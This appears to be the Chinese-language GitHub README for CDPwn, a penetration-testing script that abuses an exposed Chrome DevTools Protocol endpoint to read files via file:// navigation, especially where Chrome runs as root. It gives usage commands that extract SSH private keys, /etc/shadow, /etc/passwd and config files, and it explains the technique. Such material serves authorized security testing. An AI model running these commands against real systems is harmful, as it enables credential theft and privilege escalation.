k0x-offsec/CDPwn

GitHub: k0x-offsec/CDPwn

CDPwn 通过暴露的 Chrome DevTools Protocol 端点读取远程文件,帮助安全测试人员在 CDP 以高权限运行时发现并验证权限提升风险。

Stars: 14 | Forks: 4

![banner](https://github.com/offensive-security-pwncat/CDPwn/blob/main/banner.png) **CDPwn** 是一个旨在通过暴露的 Chrome DevTools Protocol (CDP) endpoint 渗出文件的 python 脚本 🛡️。当 CDP 服务以高权限运行时,它对于权限提升尤为有用。该脚本利用 `pycdp` 库与 CDP 交互,并使用 `pwn` 库来增强日志记录。 ### 它的优势所在 (v2.0) - **默认使用文本模式**:将完整的文件内容提取为纯文本(而非截图),非常适合密钥、配置文件和源代码 - **多种渗出模式**:`text`、`screenshot` 和 `base64` - **批量处理**:在单个连接中读取多个文件 - **超时保护**:防止在无响应的 endpoint 上挂起 - **灵活的输出方式**:保存到文件、目录或 stdout - **更好的错误处理**:优雅的回退机制和信息丰富的提示 ## 演示 ✏️ https://github.com/offensive-security-pwncat/CDPwn/assets/125557804/c33e8d8c-7820-4ae9-b11c-6ce022723ac3 ## 依赖项 📦 - `argparse`:用于解析命令行参数的标准库。 - `asyncio`:用于处理异步 I/O 操作的标准库。 - `base64`:用于编码和解码二进制数据的标准库。 - `pycdp`:用于与 Chrome DevTools Protocol 交互的第三方库。可在 https://github.com/HMaker/python-cdp 获取。注意:您可能需要修改此库中的 `target.py`,例如将 `can_access_opener=bool(json['canAccessOpener']),` 改为 `can_access_opener=bool(json.get('canAccessOpener',False)),`。 - `pwn`:用于增强屏幕输出的第三方库。 ## 命令行参数 💻 `cdpwn.py` 接受以下命令行参数: | 参数 | 必需 | 描述 | |----------|----------|-------------| | `-i, --ip` | ✓ | CDP endpoint 的 IP 地址 | | `-p, --port` | ✓ | CDP endpoint 的端口 | | `-f, --file` | ✓ | 要读取的远程文件路径(支持多个) | | `-m, --mode` | | 渗出模式:`text`(默认)、`screenshot` 或 `base64` | | `-o, --output` | | 输出文件名/目录(默认为远程文件名)。使用 `-` 打印到 stdout | | `-d, --delay` | | 截图前等待的秒数(默认:2) | | `-t, --timeout` | | 连接超时时间(秒)(默认:30) | | `-v, --verbose` | | 启用详细日志记录 | ## 使用示例 🚀 ### 以文本模式(默认)提取 SSH 密钥 ``` python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /root/.ssh/id_rsa # 输出: id_rsa.txt (可读的私钥内容) ``` ### 提取多个文件 ``` python3 cdpwn.py -i 127.0.0.1 -p 9222 \ -f /root/.ssh/id_rsa /etc/shadow /var/www/app.config \ -o /tmp/exfil/ # 输出: /tmp/exfil/ 中的 id_rsa.txt, shadow.txt, app.config.txt ``` ### 读取到 stdout(通过管道传递给其他工具) ``` python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /root/.ssh/id_rsa -o - | wc -l python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /etc/passwd -o - | grep admin ``` ### 为复杂文件捕获截图 ``` python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /root/secrets.txt -m screenshot # 输出: secrets.txt.png ``` ### 提取为 base64(为了保证二进制安全) ``` python3 cdpwn.py -i 127.0.0.1 -p 9222 -f /bin/ls -m base64 -o ls.b64 base64 -d ls.b64 > ls ``` ### 为慢速系统设置更长的超时时间 ``` python3 cdpwn.py -i 192.168.1.100 -p 9222 -f /opt/app/config.xml -t 60 -v ``` ## 工作原理 1. **连接到 CDP**:建立与暴露的 Chrome DevTools Protocol endpoint 的连接 2. **创建 target**:打开一个新的空白标签页/窗口 3. **导航到文件**:通过 `file://` 协议加载本地文件 4. **提取内容**: - **文本模式**(默认):使用 `document.body.innerText` 从 DOM 中拉取完整的文件内容,无论文件大小如何都能正常工作 - **截图模式**:将 Chrome 渲染的内容捕获为 PNG 图像 - **Base64 模式**:将内容编码为 base64,以实现二进制安全传输 5. **保存输出**:按指定方式写入磁盘或 stdout ## 为什么文本模式比截图更好 当您在 Chrome 中通过 `file://` 协议导航到文本文件时,它会在 `
` 元素中渲染该文件。与截图(仅捕获可见的视口)不同:

✓ **文本模式可获取完整文件** — 不会在视口边界处截断  

✓ **适用于任何文件大小** — 1 行或 100,000 行都可以  

✓ **机器可读的输出** — 可通过管道传递给 `grep`、`sed`、`awk` 等  

✓ **无需 OCR** — 直接、准确的内容提取  

✓ **文件体积小** — 文本约为 1KB,而截图约为 100KB+

## 安全说明 🔒

- 该脚本不会修改远程文件
- 它仅能读取 CDP 进程可以访问的内容(通常仅限于 Chrome 进程的 uid/gid)
- 当 CDP 以高权限(例如 root)运行时效果最佳
- 如果 CDP endpoint 通过网络暴露,则网络流量是未加密的
- 请仅在授权的安全测试环境中使用

## 故障排除

**"Got empty content — may be binary"**  

→ 对于非 UTF8 文件,请尝试使用 `--mode screenshot` 或 `--mode base64`

**连接超时**  

→ 使用 `-t 60` 增加超时时间,或检查该 endpoint 是否可访问

**Target 加载失败**  

→ 确保文件路径是绝对路径(例如使用 `/root/.ssh/id_rsa` 而不是 `~/.ssh/id_rsa`)

**"Runtime.evaluate failed"**  

→ Chrome 进程可能无法读取该文件。请检查远程系统上的权限

## 许可证

该项目基于 MIT 许可证授权 - 详情请参阅 LICENSE 文件。
标签:HTTP工具, Python, Web报告查看器, 无后门, 计算机取证, 逆向工具